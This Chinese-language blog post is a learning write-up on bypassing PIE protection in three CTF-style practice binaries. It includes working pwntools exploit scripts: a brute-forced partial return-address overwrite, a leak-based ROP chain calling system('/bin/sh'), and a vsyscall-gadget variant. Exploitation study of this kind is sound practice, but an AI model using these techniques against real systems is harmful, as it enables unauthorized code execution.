关于PIE绕过的学习
学习pwn也有很长一段时间了,虽然在栈溢出、格式化字符串漏洞、堆漏洞上都有涉猎,但大多时候程序的保护并没有开启,偶然浏览到一位师傅的博客萌发了学习pie绕过的想法。
博客地址:https://www.cnblogs.com/Junglezt/p/18253924
程序链接:pie-bypass
bypass1

在ida中代码段的地址就已经很说明问题了,这里的地址显示的都只有后三位,这是因为程序开了pie导致的。pie造成的结构可以结合操作系统的分页机制来理解,现代计算机的一页一般是1000字节,程序从磁盘加载到虚拟内存的过程会加上页面的数量,这里讨论linux下的分页机制。
gdb随便调试一个程序,在vmmap中可以看到分页的偏移量都是1000字节

对于一个程序的地址有如下公式:
实际地址 = 原来地址 + n * 1000 (n=0,1,2……)
依据上面的公式有一个重要结论:程序的最低三位是不会变的。这也是为什么ida中只会显示地址最低三位的值的原因,在攻击中需要覆盖两个字节来修改为后门函数的地址,这两个字节中有四个十六进制数,也就是下面红色标出的,是确定的。还有一个十六进制数有十六种可能,需要进行爆破。


exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
from pwn import *
context.log_level = 'debug'
count = 1
while True:
p = process("./pie_bypass1")
try:
info(f"-> {count}")
padding = 0x1c
payload = b'a' * padding + b"\xF0" + b"\xF6" # 假定那一位为F
p.sendafter(b"!\n", payload)
count += 1
recv = p.recv(timeout=10)
except:
warn("fail...")
else:
p.interactive()
break
|
爆破了21次拿到了shell

bypass2
函数会输出栈上的一个地址

临时关闭aslr就会发现该地址值就不会变化了,这是因为aslr的关闭导致的pie失效

因此可以写一个脚本输出每次的pie偏移量
1
2
3
4
5
6
7
8
9
10
|
# 运行在aslr=2的环境下
from pwn import *
context.log_level = 'debug'
p = process("./pie_bypass2")
no_pie_addr = 0x555555400951
stack_addr = int(p.recv()[1:15], 16)
pie_offset = stack_addr - no_pie_addr
success(f"pie_offset:{hex(pie_offset)}")
|

如果存在后门函数后续就可以先查看没有pie的时候地址加上pie_offset即可
当然这个程序并没有有效的后门函数,后面的利用基本围绕ROP展开,因此知道整体的偏移比pie_offset更重要
输出的地址不是没有意义的,rbp+8h为函数的返回地址
1
2
3
4
5
6
7
8
9
10
11
|
__int64 message_board()
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF
void *retaddr; // [rsp+38h] [rbp+8h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf(" %#lx what? =_=i \n", retaddr);
read(0, buf, 0x78uLL);
return 0LL;
}
|


exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
from pwn import *
context.log_level = 'debug'
p = process("./pie_bypass2")
elf = ELF("./pie_bypass2")
ret_addr = int(p.recv()[1:15], 16) # main+14
main_addr = 0x943
offset = ret_addr - 14 - main_addr
success(f"offset={hex(offset)}")
def add_offset(addr, offset = offset):
return addr + offset
padding = 0x38
pop_rdi = 0x9c3
pop_rsi_r15 = 0x9c1
read_addr = 0x740
system_addr = 0x720
buf = 0x202000 - 0x20
ret_addr = 0x288
# ret2csu
# read(0,buf,rdx) rdx为任意值可不用设置
payload = padding * b'a'
payload += p64(add_offset(ret_addr))
payload += p64(add_offset(pop_rdi))
payload += p64(0) # rdi
payload += p64(add_offset(pop_rsi_r15))
payload += p64(add_offset(buf)) # rsi
payload += p64(0) # r15
payload += p64(add_offset(read_addr))
payload += p64(add_offset(main_addr))
p.send(payload)
p.send(b"/bin/sh\x00")
# system(buf)
payload = b'A' * padding
payload += p64(add_offset(ret_addr))
payload += p64(add_offset(pop_rdi))
payload += p64(add_offset(buf)) # rdi
payload += p64(add_offset(system_addr))
p.sendafter(b"=_=i \n", payload)
p.interactive()
|

bypass3
主要利用vsyscall中gadgets进行getshell
vsyscall主要用于轻量级的系统调用,由于其地址不会变化常用于ROP利用,linux3.5开始vsyscall逐渐被弃用,本地环境内核版本过高无法复现,就不展开说明了
原文exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
from pwn import *
vsyscall = 0xffffffffff600000
padding = 0x10 + 8
payload = b"A" * padding
payload += p64(vsyscall) * 5
payload += b"\xfc" + b"\xc2"
count = 0
while True:
try:
count += 1
print(count,end=' ')
p = process("./pie_bypass3")
p.recvuntil("Leave a message!\n")
p.send(payload)
p.recv(timeout=10)
except:
print("error")
else:
p.interactive()
break
|